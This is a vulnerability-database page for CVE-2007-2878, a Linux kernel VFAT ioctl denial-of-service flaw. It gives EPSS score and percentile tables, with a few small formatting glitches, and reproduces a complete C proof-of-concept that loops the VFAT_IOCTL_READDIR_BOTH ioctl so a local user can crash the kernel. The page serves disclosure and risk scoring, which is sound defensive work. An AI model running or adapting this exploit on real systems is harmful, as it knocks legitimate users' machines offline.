CVE-2007-2878 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	3.22%	–	–
2022-02-13	–	–	3.22%	–	–
2022-04-03	–	–	3.22%	–	–
2022-09-18	–	–	3.22%	–	–
2023-03-12	–	–	–	0.04%	–
2024-06-02	–	–	–	0.04%	–
2024-07-28	–	–	–	0.12%	–
2024-08-25	–	–	–	0.12%	–
2024-09-22	–	–	–	0.12%	–
2024-10-13	–	–	–	0.12%	–
2024-12-22	–	–	–	0.17%	–
2025-03-02	–	–	–	0.17%	–
2025-01-19	–	–	–	0.17%	–
2025-03-09	–	–	–	0.17%	–
2025-03-18	–	–	–	–	0.21%
2025-03-30	–	–	–	–	0.22%
2025-04-15	–	–	–	–	0.22%
2025-04-15	–	–	–	–	0.22,%

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Date	Percentile
2022-02-06	65%
2022-02-13	66%
2022-04-03	83%
2022-09-18	84%
2023-03-12	–
2024-06-02	–
2024-07-28	47%
2024-08-25	48%
2024-09-22	47%
2024-10-13	48%
2024-12-22	55%
2025-03-02	56%
2025-01-19	55%
2025-03-09	56%
2025-03-18	41%
2025-03-30	42%
2025-04-15	45%
2025-04-15	45%

/* source: https://www.securityfocus.com/bid/24134/info The Linux Kernel is prone to a denial-of-service vulnerability. A local attacker can exploit this issue to cause the kernel to crash, effectively denying service to legitimate users. */ #include <sys/types.h> #include <sys/ioctl.h> #include <dirent.h> #include <stdio.h> #include <unistd.h> #include <fcntl.h> struct kernel_dirent { long d_ino; long d_off; unsigned short d_reclen; char d_name[256]; /* We must not include limits.h! */ }; #define VFAT_IOCTL_READDIR_BOTH _IOR('r', 1, struct kernel_dirent [2]) #define VFAT_IOCTL_READDIR_SHORT _IOR('r', 2, struct kernel_dirent [2]) int main(void) { int fd = open(".", O_RDONLY); struct kernel_dirent de[2]; while (1) { int i = ioctl(fd, VFAT_IOCTL_READDIR_BOTH, (long)de); if (i == -1) break; if (de[0].d_reclen == 0) break; printf("SFN: reclen=%2d off=%d ino=%d, %-12s", de[0].d_reclen, de[0].d_off, de[0].d_ino, de[0].d_name); if (de[1].d_reclen) printf("\tLFN: reclen=%2d off=%d ino=%d, %s", de[1].d_reclen, de[1].d_off, de[1].d_ino, de[1].d_name); printf("\n"); } return 0; }